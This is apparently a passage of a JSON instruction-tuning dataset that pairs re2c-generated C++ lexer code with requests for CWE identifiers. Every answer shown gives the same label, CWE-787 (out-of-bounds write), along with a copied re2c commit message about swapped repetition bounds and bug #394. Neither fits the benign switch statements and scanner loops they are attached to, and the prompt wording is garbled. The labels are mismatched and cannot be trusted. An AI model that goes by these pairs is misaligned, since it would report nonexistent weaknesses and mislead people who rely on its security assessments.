char)*++cur;\n\tif (yych == 'x') goto yy57;\n\tgoto yy14;\nyy44:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'a') goto yy58;\n\tgoto yy14;\nyy45:\n\tyych = (unsigned char)*++cur;\n\tif (yych == '2') goto yy59;\n\tgoto yy14;\nyy46:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'l') goto yy60;\n\tgoto yy14;\nyy47:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'a') goto yy61;\n\tgoto yy14;\nyy48:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'p') goto yy62;\n\tgoto yy14;\nyy49:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'e') goto yy63;\n\tgoto yy14;\nyy50:\n\tyych = (unsigned char)*++cur;\n\tif (yych <= '0') goto yy65;\n\tif (yych <= '9') goto yy14;\n\tgoto yy65;\nyy51:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'd') goto yy66;\n\tgoto yy14;\nyy52:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 's') goto yy67;\n\tgoto yy14;\nyy53:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'd') goto yy68;\n\tgoto yy14;\nyy54:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'o') goto yy69;\n\tgoto yy14;\nyy55:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'l') goto yy70;\n\tgoto yy14;\nyy56:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'a') goto yy71;\n\tgoto yy14;\nyy57:\n\tyych = (unsigned char)*++cur;\n\tif (yych == ':') goto yy72;\n\tif (yych == 'n') goto yy73;\n\tgoto yy14;\nyy58:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'g') goto yy74;\n\tgoto yy14;\nyy59:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'c') goto yy75;\n\tgoto yy14;\nyy60:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'e') goto yy77;\n\tgoto yy14;\nyy61:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'g') goto yy78;\n\tgoto yy14;\nyy62:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'e') goto yy79;\n\tgoto yy14;\nyy63:\n\tyych = (unsigned char)*++cur;\n\tif (yych == ':') goto yy80;\n\tgoto yy14;\nyy64:\n\t++cur;\n\tif (lim <= cur) { if (!fill(1)) { error(\"unexpected end of input\"); exit(1); } }\n\tyych = (unsigned char)*cur;\nyy65:\n\tif (yych <= 0x1F) {\n\t\tif (yych == '\\t') goto yy64;\n\t\tgoto yy14;\n\t} else {\n\t\tif (yych <= ' ') goto yy64;\n\t\tif (yych <= '0') goto yy14;\n\t\tif (yych <= '9') {\n\t\t\tyyt1 = cur;\n\t\t\tgoto yy81;\n\t\t}\n\t\tgoto yy14;\n\t}\nyy66:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'i') goto yy83;\n\tgoto yy14;\nyy67:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 't') goto yy84;\n\tgoto yy14;\nyy68:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'e') goto yy85;\n\tgoto yy14;\nyy69:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'r') goto yy86;\n\tgoto yy14;\nyy70:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'u') goto yy87;\n\tgoto yy14;\nyy71:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'l') goto yy88;\n\tgoto yy14;\nyy72:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'r') goto yy89;\n\tgoto yy14;\nyy73:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'm') goto yy90;\n\tgoto yy14;\nyy74:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 's') goto yy91;\n\tgoto yy14;\nyy75:\n\t++cur;\n#line 152 \"../src/parse/lex.re\"\n\t{\n        out.wraw(tok, ptr);\n        if (!lex_opt_name(block_name)) return INPUT_ERROR;\n        if (block_name == \"local\") {\n            msg.error(cur_loc(), \"ill-formed local block, expected `local:re2c`\");\n            return INPUT_ERROR;\n        }\n        return INPUT_GLOBAL;\n    }\n#line 488 \"src/parse/lex.cc\"\nyy77:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 's') goto yy92;\n\tgoto yy14;\nyy78:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 's') goto yy93;\n\tgoto yy14;\nyy79:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 's') goto yy94;\n\tgoto yy14;\nyy80:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'r') goto yy95;\n\tgoto yy14;\nyy81:\n\t++cur;\n\tif ((lim - cur) < 2) { if (!fill(2)) { error(\"unexpected end of input\"); exit(1); } }\n\tyych = (unsigned char)*cur;\n\tif (yybm[0+yych] & 64) {\n\t\tgoto yy81;\n\t}\n\tif (yych <= '\\f') {\n\t\tif (yych <= 0x08) goto yy14;\n\t\tif (yych <= '\\t') goto yy96;\n\t\tif (yych <= '\\n') goto yy98;\n\t\tgoto yy14;\n\t} else {\n\t\tif (yych <= '\\r') goto yy100;\n\t\tif (yych == ' ') goto yy96;\n\t\tgoto yy14;\n\t}\nyy83:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 't') goto yy101;\n\tgoto yy14;\nyy84:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'a') goto yy102;\n\tgoto yy14;\nyy85:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'r') goto yy103;\n\tgoto yy14;\nyy86:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'e') goto yy104;\n\tgoto yy14;\nyy87:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'd') goto yy105;\n\tgoto yy14;\nyy88:\n\tyych = (unsigned char)*++cur;\n\tif (yych == ':') goto yy106;\n\tgoto yy14;\nyy89:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'e') goto yy107;\n\tgoto yy14;\nyy90:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'a') goto yy108;\n\tgoto yy14;\nyy91:\n\tyych = (unsigned char)*++cur;\n\tif (yych == ':') goto yy109;\n\tgoto yy14;\nyy92:\n\tyych = (unsigned char)*++cur;\n\tif (yych == ':') goto yy110;\n\tgoto yy14;\nyy93:\n\tyych = (unsigned char)*++cur;\n\tif (yych == ':') goto yy111;\n\tgoto yy14;\nyy94:\n\tyych = (unsigned char)*++cur;\n\tif (yych == ':') goto yy112;\n\tgoto yy14;\nyy95:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'e') goto yy113;\n\tgoto yy14;\nyy96:\n\t++cur;\n\tif (lim <= cur) { if (!fill(1)) { error(\"unexpected end of input\"); exit(1); } }\n\tyych = (unsigned char)*cur;\n\tif (yych <= 0x1F) {\n\t\tif (yych == '\\t') goto yy96;\n\t\tgoto yy14;\n\t} else {\n\t\tif (yych <= ' ') goto yy96;\n\t\tif (yych == '\"') goto yy114;\n\t\tgoto yy14;\n\t}\nyy98:\n\t++cur;\n\tcur = yyt1;\n#line 281 \"../src/parse/lex.re\"\n\t{\n        out.wraw(tok, ptr);\n        out.wdelay_stmt(0, code_newline(alc));\n        set_sourceline();\n        goto next;\n    }\n#line 596 \"src/parse/lex.cc\"\nyy100:\n\tyych = (unsigned char)*++cur;\n\tif (yych == '\\n') goto yy98;\n\tgoto yy14;\nyy101:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'i') goto yy116;\n\tgoto yy14;\nyy102:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 't') goto yy117;\n\tgoto yy14;\nyy103:\n\tyych = (unsigned char)*++cur;\n\tif (yych == ':') goto yy118;\n\tgoto yy14;\nyy104:\n\tyych = (unsigned char)*++cur;\n\tif (yych == ':') goto yy119;\n\tgoto yy14;\nyy105:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'e') goto yy120;\n\tgoto yy14;\nyy106:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'r') goto yy121;\n\tgoto yy14;\nyy107:\n\tyych = (unsigned char)*++cur;\n\tif (yych == '2') goto yy122;\n\tgoto yy14;\nyy108:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 't') goto yy123;\n\tgoto yy14;\nyy109:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'r') goto yy124;\n\tgoto yy14;\nyy110:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'r') goto yy125;\n\tgoto yy14;\nyy111:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'r') goto yy126;\n\tgoto yy14;\nyy112:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'r') goto yy127;\n\tgoto yy14;\nyy113:\n\tyych = (unsigned char)*++cur;\n\tif (yych == '2') goto yy128;\n\tgoto yy14;\nyy114:\n\t++cur;\n\tif ((lim - cur) < 3) { if (!fill(3)) { error(\"unexpected end of input\"); exit(1); } }\n\tyych = (unsigned char)*cur;\n\tif (yybm[0+yych] & 128) {\n\t\tgoto yy114;\n\t}\n\tif (yych <= '\\n') goto yy14;\n\tif (yych <= '\"') goto yy129;\n\tgoto yy130;\nyy116:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'o') goto yy131;\n\tgoto yy14;\nyy117:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'e') goto yy132;\n\tgoto yy14;\nyy118:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'r') goto yy133;\n\tgoto yy14;\nyy119:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'r') goto yy134;\n\tgoto yy14;\nyy120:\n\tyych = (unsigned char)*++cur;\n\tif (yych == ':') goto yy135;\n\tgoto yy14;\nyy121:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'e') goto yy136;\n\tgoto yy14;\nyy122:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'c') goto yy137;\n\tgoto yy14;\nyy123:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'c') goto yy139;\n\tgoto yy14;\nyy124:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'e') goto yy140;\n\tgoto yy14;\nyy125:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'e') goto yy141;\n\tgoto yy14;\nyy126:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'e') goto yy142;\n\tgoto yy14;\nyy127:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'e') goto yy143;\n\tgoto yy14;\nyy128:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'c') goto yy144;\n\tgoto yy14;\nyy129:\n\tyych = (unsigned char)*++cur;\n\tif (yych == '\\n') goto yy98;\n\tif (yych == '\\r') goto yy100;\n\tgoto yy14;\nyy130:\n\t++cur;\n\tif (lim <= cur) { if (!fill(1)) { error(\"unexpected end of input\"); exit(1); } }\n\tyych = (unsigned char)*cur;\n\tif (yych <= 0x00) goto yy14;\n\tif (yych == '\\n') goto yy14;\n\tgoto yy114;\nyy131:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'n') goto yy79;\n\tgoto yy14;\nyy132:\n\tyych = (unsigned char)*++cur;\n\tif (yych == ':') goto yy146;\n\tgoto yy14;\nyy133:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'e') goto yy147;\n\tgoto yy14;\nyy134:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'e') goto yy148;\n\tgoto yy14;\nyy135:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'r') goto yy149;\n\tgoto yy14;\nyy136:\n\tyych = (unsigned char)*++cur;\n\tif (yych == '2') goto yy150;\n\tgoto yy14;\nyy137:\n\t++cur;\n#line 180 \"../src/parse/lex.re\"\n\t{\n        if (!lex_block(out, CODE_MAXFILL, 0, DCONF_FORMAT)) return INPUT_ERROR;\n        goto next;\n    }\n#line 758 \"src/parse/lex.cc\"\nyy139:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'h') goto yy151;\n\tgoto yy14;\nyy140:\n\tyych = (unsigned char)*++cur;\n\tif (yych == '2') goto yy152;\n\tgoto yy14;\nyy141:\n\tyych = (unsigned char)*++cur;\n\tif (yych == '2') goto yy153;\n\tgoto yy14;\nyy142:\n\tyych = (unsigned char)*++cur;\n\tif (yych == '2') goto yy154;\n\tgoto yy14;\nyy143:\n\tyych = (unsigned char)*++cur;\n\tif (yych == '2') goto yy155;\n\tgoto yy14;\nyy144:\n\t++cur;\n#line 174 \"../src/parse/lex.re\"\n\t{\n        out.wraw(tok, ptr);\n        if (!lex_opt_name(block_name)) return INPUT_ERROR;\n        return INPUT_USE;\n    }\n#line 787 \"src/parse/lex.cc\"\nyy146:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'r') goto yy156;\n\tgoto yy14;\nyy147:\n\tyych = (unsigned char)*++cur;\n\tif (yych == '2') goto yy157;\n\tgoto yy14;\nyy148:\n\tyych = (unsigned char)*++cur;\n\tif (yych == '2') goto yy158;\n\tgoto yy14;\nyy149:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'e') goto yy159;\n\tgoto yy14;\nyy150:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'c') goto yy160;\n\tgoto yy14;\nyy151:\n\tyych = (unsigned char)*++cur;\n\tif (yych == ':') goto yy162;\n\tgoto yy14;\nyy152:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'c') goto yy163;\n\tgoto yy14;\nyy153:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'c') goto yy165;\n\tgoto yy14;\nyy154:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'c') goto yy167;\n\tgoto yy14;\nyy155:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'c') goto yy169;\n\tgoto yy14;\nyy156:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'e') goto yy171;\n\tgoto yy14;\nyy157:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'c') goto yy172;\n\tgoto yy14;\nyy158:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'c') goto yy174;\n\tgoto yy14;\nyy159:\n\tyych = (unsigned char)*++cur;\n\tif (yych == '2') goto yy176;\n\tgoto yy14;\nyy160:\n\t++cur;\n#line 162 \"../src/parse/lex.re\"\n\t{\n        out.wraw(tok, ptr);\n        if (!lex_opt_name(block_name)) return INPUT_ERROR;\n        return INPUT_LOCAL;\n    }\n#line 852 \"src/parse/lex.cc\"\nyy162:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'r') goto yy177;\n\tgoto yy14;\nyy163:\n\t++cur;\n#line 196 \"../src/parse/lex.re\"\n\t{\n        uint32_t allow = DCONF_FORMAT | DCONF_SEPARATOR;\n        if (!lex_block(out, CODE_MTAGS, 0, allow)) return INPUT_ERROR;\n        goto next;\n    }\n#line 865 \"src/parse/lex.cc\"\nyy165:\n\t++cur;\n#line 168 \"../src/parse/lex.re\"\n\t{\n        out.wraw(tok, ptr);\n        if (!lex_opt_name(block_name)) return INPUT_ERROR;\n        return INPUT_RULES;\n    }\n#line 874 \"src/parse/lex.cc\"\nyy167:\n\t++cur;\n#line 190 \"../src/parse/lex.re\"\n\t{\n        uint32_t allow = DCONF_FORMAT | DCONF_SEPARATOR;\n        if (!lex_block(out, CODE_STAGS, 0, allow)) return INPUT_ERROR;\n        goto next;\n    }\n#line 883 \"src/parse/lex.cc\"\nyy169:\n\t++cur;\n#line 202 \"../src/parse/lex.re\"\n\t{\n        out.cond_enum_autogen = false;\n        out.warn_condition_order = false; // see note [condition order]\n        uint32_t allow = DCONF_FORMAT | DCONF_SEPARATOR;\n        if (!lex_block(out, CODE_COND_ENUM, opts->topIndent, allow)) return INPUT_ERROR;\n        goto next;\n    }\n#line 894 \"src/parse/lex.cc\"\nyy171:\n\tyych = (unsigned char)*++cur;\n\tif (yych == '2') goto yy178;\n\tgoto yy14;\nyy172:\n\tyyaccept = 2;\n\tyych = (unsigned char)*(mar = ++cur);\n\tif (yych == ':') goto yy179;\nyy173:\n#line 241 \"../src/parse/lex.re\"\n\t{\n        msg.error(cur_loc(), \"ill-formed header directive: expected\"\n            \" `/*!header:re2c:` followed by a space, a newline or the\"\n            \" end of block `*\" \"/`\");\n        return INPUT_ERROR;\n    }\n#line 911 \"src/parse/lex.cc\"\nyy174:\n\tyyaccept = 3;\n\tyych = (unsigned char)*(mar = ++cur);\n\tif (yych <= '\\r') {\n\t\tif (yych <= 0x08) goto yy175;\n\t\tif (yych <= '\\n') {\n\t\t\tyyt1 = cur;\n\t\t\tgoto yy180;\n\t\t}\n\t\tif (yych >= '\\r') {\n\t\t\tyyt1 = cur;\n\t\t\tgoto yy180;\n\t\t}\n\t} else {\n\t\tif (yych <= ' ') {\n\t\t\tif (yych >= ' ') {\n\t\t\t\tyyt1 = cur;\n\t\t\t\tgoto yy180;\n\t\t\t}\n\t\t} else {\n\t\t\tif (yych == '*') {\n\t\t\t\tyyt1 = cur;\n\t\t\t\tgoto yy182;\n\t\t\t}\n\t\t}\n\t}\nyy175:\n#line 267 \"../src/parse/lex.re\"\n\t{\n        msg.error(cur_loc(), \"ill-formed start of `ignore:re2c` block: expected\"\n            \" a space, a newline, or the end of block `*\" \"/`\");\n        return INPUT_ERROR;\n    }\n#line 945 \"src/parse/lex.cc\"\nyy176:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'c') goto yy183;\n\tgoto yy14;\nyy177:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'e') goto yy185;\n\tgoto yy14;\nyy178:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'c') goto yy186;\n\tgoto yy14;\nyy179:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'o') goto yy188;\n\tgoto yy14;\nyy180:\n\t++cur;\n\tcur = yyt1;\n#line 261 \"../src/parse/lex.re\"\n\t{\n        out.wraw(tok, ptr);\n        // allows arbitrary garbage before the end of the comment\n        if (!lex_block_end(out, true)) return INPUT_ERROR;\n        goto next;\n    }\n#line 972 \"src/parse/lex.cc\"\nyy182:\n\tyych = (unsigned char)*++cur;\n\tif (yych == '/') goto yy180;\n\tgoto yy14;\nyy183:\n\tyyaccept = 4;\n\tyych = (unsigned char)*(mar = ++cur);\n\tif (yych == '\\t') goto yy189;\n\tif (yych == ' ') goto yy189;\nyy184:\n#line 255 \"../src/parse/lex.re\"\n\t{\n        msg.error(cur_loc(), \"ill-formed include directive: expected\"\n            \" `/*!include:re2c \\\"\\\" *\" \"/`\");\n        return INPUT_ERROR;\n    }\n#line 989 \"src/parse/lex.cc\"\nyy185:\n\tyych = (unsigned char)*++cur;\n\tif (yych == '2') goto yy191;\n\tgoto yy14;\nyy186:\n\t++cur;\n#line 210 \"../src/parse/lex.re\"\n\t{\n        out.state_goto = true;\n        if (!opts->fFlag) {\n            msg.error(cur_loc(), \"`getstate:re2c` without `-f --storable-state` option\");\n            return INPUT_ERROR;\n        }\n        if (opts->loop_switch) {\n            msg.error(cur_loc(), \"`getstate:re2c` is incompatible with the --loop-switch \"\n                \"option, as it requires cross-block transitions that are unsupported \"\n                \"without the `goto` statement\");\n            return INPUT_ERROR;\n        }\n        if (!lex_block(out, CODE_STATE_GOTO, opts->topIndent, 0)) return INPUT_ERROR;\n        goto next;\n    }\n#line 1012 \"src/parse/lex.cc\"\nyy188:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'f') goto yy192;\n\tif (yych == 'n') goto yy193;\n\tgoto yy14;\nyy189:\n\t++cur;\n\tif (lim <= cur) { if (!fill(1)) { error(\"unexpected end of input\"); exit(1); } }\n\tyych = (unsigned char)*cur;\n\tif (yych <= 0x1F) {\n\t\tif (yych == '\\t') goto yy189;\n\t\tgoto yy14;\n\t} else {\n\t\tif (yych <= ' ') goto yy189;\n\t\tif (yych == '\"') {\n\t\t\tyyt1 = cur;\n\t\t\tgoto yy195;\n\t\t}\n\t\tgoto yy14;\n\t}\nyy191:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'c') goto yy197;\n\tgoto yy14;\nyy192:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'f') goto yy199;\n\tgoto yy14;\nyy193:\n\t++cur;\n#line 226 \"../src/parse/lex.re\"\n\t{\n        out.wraw(tok, ptr);\n        out.header_mode(true);\n        out.need_header = true;\n        if (!lex_block_end(out)) return INPUT_ERROR;\n        goto next;\n    }\n#line 1051 \"src/parse/lex.cc\"\nyy195:\n\t++cur;\n\tif ((lim - cur) < 3) { if (!fill(3)) { error(\"unexpected end of input\"); exit(1); } }\n\tyych = (unsigned char)*cur;\n\tif (yych <= '!') {\n\t\tif (yych <= 0x00) goto yy14;\n\t\tif (yych == '\\n') goto yy14;\n\t\tgoto yy195;\n\t} else {\n\t\tif (yych <= '\"') goto yy201;\n\t\tif (yych == '\\\\') goto yy202;\n\t\tgoto yy195;\n\t}\nyy197:\n\t++cur;\n#line 185 \"../src/parse/lex.re\"\n\t{\n        if (!lex_block(out, CODE_MAXNMATCH, 0, DCONF_FORMAT)) return INPUT_ERROR;\n        goto next;\n    }\n#line 1072 \"src/parse/lex.cc\"\nyy199:\n\t++cur;\n#line 234 \"../src/parse/lex.re\"\n\t{\n        out.wraw(tok, ptr);\n        out.header_mode(false);\n        out.wdelay_stmt(0, code_line_info_input(alc, cur_loc()));\n        if (!lex_block_end(out)) return INPUT_ERROR;\n        goto next;\n    }\n#line 1083 \"src/parse/lex.cc\"\nyy201:\n\tyych = (unsigned char)*++cur;\n\tif (yych <= '\\r') {\n\t\tif (yych <= 0x08) goto yy14;\n\t\tif (yych <= '\\n') {\n\t\t\tyyt2 = cur;\n\t\t\tgoto yy203;\n\t\t}\n\t\tif (yych <= '\\f') goto yy14;\n\t\tyyt2 = cur;\n\t\tgoto yy203;\n\t} else {\n\t\tif (yych <= ' ') {\n\t\t\tif (yych <= 0x1F) goto yy14;\n\t\t\tyyt2 = cur;\n\t\t\tgoto yy203;\n\t\t} else {\n\t\t\tif (yych == '*') {\n\t\t\t\tyyt2 = cur;\n\t\t\t\tgoto yy205;\n\t\t\t}\n\t\t\tgoto yy14;\n\t\t}\n\t}\nyy202:\n\t++cur;\n\tif (lim <= cur) { if (!fill(1)) { error(\"unexpected end of input\"); exit(1); } }\n\tyych = (unsigned char)*cur;\n\tif (yych <= 0x00) goto yy14;\n\tif (yych == '\\n') goto yy14;\n\tgoto yy195;\nyy203:\n\t++cur;\n\tx = yyt1;\n\tcur = yyt2;\n\ty = yyt2;\n#line 248 \"../src/parse/lex.re\"\n\t{\n        out.wraw(tok, ptr);\n        if (!lex_block_end(out)) return INPUT_ERROR;\n        include(getstr(x + 1, y - 1), ptr);\n        out.wdelay_stmt(0, code_line_info_input(alc, cur_loc()));\n        goto next;\n    }\n#line 1128 \"src/parse/lex.cc\"\nyy205:\n\tyych = (unsigned char)*++cur;\n\tif (yych == '/') goto yy203;\n\tgoto yy14;\n}\n#line 294 \"../src/parse/lex.re\"\n\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': 'Emit an error when repetition lower bound exceeds upper bound.\n\nHistorically this was allowed and re2c swapped the bounds. However, it\nmost likely indicates an error in user code and there is only a single\noccurrence in the tests (and the test in an artificial one), so although\nthe change is backwards incompatible there is low chance of breaking\nreal-world code.\n\nThis fixes second test case in the bug #394 \"Stack overflow due to\nrecursion in src/dfa/dead_rules.cc\" (the actual fix is to limit DFA size\nbut the test also has counted repetition with swapped bounds).'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: \tswitch (yych) {\n\t\tcase 'a': goto yy46;\n\t\tdefault: goto yy41;\n\t} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': 'Emit an error when repetition lower bound exceeds upper bound.\n\nHistorically this was allowed and re2c swapped the bounds. However, it\nmost likely indicates an error in user code and there is only a single\noccurrence in the tests (and the test in an artificial one), so although\nthe change is backwards incompatible there is low chance of breaking\nreal-world code.\n\nThis fixes second test case in the bug #394 \"Stack overflow due to\nrecursion in src/dfa/dead_rules.cc\" (the actual fix is to limit DFA size\nbut the test also has counted repetition with swapped bounds).'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: void Scanner::lex_string(char delim)\n{\nloop:\n\n#line 3637 \"src/parse/lex.cc\"\n{\n\tunsigned char yych;\n\tif ((lim - cur) < 2) { if (!fill(2)) { error(\"unexpected end of input\"); exit(1); } }\n\tyych = (unsigned char)*cur;\n\tif (yych <= '!') {\n\t\tif (yych <= '\\n') {\n\t\t\tif (yych <= 0x00) goto yy540;\n\t\t\tif (yych <= '\\t') goto yy542;\n\t\t\tgoto yy544;\n\t\t} else {\n\t\t\tif (yych == '\\r') goto yy546;\n\t\t\tgoto yy542;\n\t\t}\n\t} else {\n\t\tif (yych <= '\\'') {\n\t\t\tif (yych <= '\"') goto yy547;\n\t\t\tif (yych <= '&') goto yy542;\n\t\t\tgoto yy547;\n\t\t} else {\n\t\t\tif (yych == '\\\\') goto yy549;\n\t\t\tgoto yy542;\n\t\t}\n\t}\nyy540:\n\t++cur;\n#line 711 \"../src/parse/lex.re\"\n\t{ fail_if_eof(); goto loop; }\n#line 3665 \"src/parse/lex.cc\"\nyy542:\n\t++cur;\nyy543:\n#line 712 \"../src/parse/lex.re\"\n\t{ goto loop; }\n#line 3671 \"src/parse/lex.cc\"\nyy544:\n\t++cur;\n#line 710 \"../src/parse/lex.re\"\n\t{ next_line(); goto loop; }\n#line 3676 \"src/parse/lex.cc\"\nyy546:\n\tyych = (unsigned char)*++cur;\n\tif (yych == '\\n') goto yy544;\n\tgoto yy543;\nyy547:\n\t++cur;\n#line 708 \"../src/parse/lex.re\"\n\t{ if (cur[-1] == delim) return; else goto loop; }\n#line 3685 \"src/parse/lex.cc\"\nyy549:\n\tyych = (unsigned char)*++cur;\n\tif (yych <= '&') {\n\t\tif (yych != '\"') goto yy543;\n\t} else {\n\t\tif (yych <= '\\'') goto yy550;\n\t\tif (yych != '\\\\') goto yy543;\n\t}\nyy550:\n\t++cur;\n#line 709 \"../src/parse/lex.re\"\n\t{ goto loop; }\n#line 3698 \"src/parse/lex.cc\"\n}\n#line 713 \"../src/parse/lex.re\"\n\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': 'Emit an error when repetition lower bound exceeds upper bound.\n\nHistorically this was allowed and re2c swapped the bounds. However, it\nmost likely indicates an error in user code and there is only a single\noccurrence in the tests (and the test in an artificial one), so although\nthe change is backwards incompatible there is low chance of breaking\nreal-world code.\n\nThis fixes second test case in the bug #394 \"Stack overflow due to\nrecursion in src/dfa/dead_rules.cc\" (the actual fix is to limit DFA size\nbut the test also has counted repetition with swapped bounds).'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: \tswitch (yych) {\n\t\tcase 'a': goto yy43;\n\t\tdefault: goto yy41;\n\t} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': 'Emit an error when repetition lower bound exceeds upper bound.\n\nHistorically this was allowed and re2c swapped the bounds. However, it\nmost likely indicates an error in user code and there is only a single\noccurrence in the tests (and the test in an artificial one), so although\nthe change is backwards incompatible there is low chance of breaking\nreal-world code.\n\nThis fixes second test case in the bug #394 \"Stack overflow due to\nrecursion in src/dfa/dead_rules.cc\" (the actual fix is to limit DFA size\nbut the test also has counted repetition with swapped bounds).'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: void Scanner::lex_cpp_comment()\n{\nloop:\n\n#line 3758 \"src/parse/lex.cc\"\n{\n\tunsigned char yych;\n\tif ((lim - cur) < 2) { if (!fill(2)) { error(\"unexpected end of input\"); exit(1); } }\n\tyych = (unsigned char)*cur;\n\tif (yych <= '\\n') {\n\t\tif (yych <= 0x00) goto yy566;\n\t\tif (yych <= '\\t') goto yy568;\n\t\tgoto yy570;\n\t} else {\n\t\tif (yych == '\\r') goto yy572;\n\t\tgoto yy568;\n\t}\nyy566:\n\t++cur;\n#line 732 \"../src/parse/lex.re\"\n\t{ fail_if_eof(); goto loop; }\n#line 3775 \"src/parse/lex.cc\"\nyy568:\n\t++cur;\nyy569:\n#line 733 \"../src/parse/lex.re\"\n\t{ goto loop; }\n#line 3781 \"src/parse/lex.cc\"\nyy570:\n\t++cur;\n#line 731 \"../src/parse/lex.re\"\n\t{ next_line(); return; }\n#line 3786 \"src/parse/lex.cc\"\nyy572:\n\tyych = (unsigned char)*++cur;\n\tif (yych == '\\n') goto yy570;\n\tgoto yy569;\n}\n#line 734 \"../src/parse/lex.re\"\n\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': 'Emit an error when repetition lower bound exceeds upper bound.\n\nHistorically this was allowed and re2c swapped the bounds. However, it\nmost likely indicates an error in user code and there is only a single\noccurrence in the tests (and the test in an artificial one), so although\nthe change is backwards incompatible there is low chance of breaking\nreal-world code.\n\nThis fixes second test case in the bug #394 \"Stack overflow due to\nrecursion in 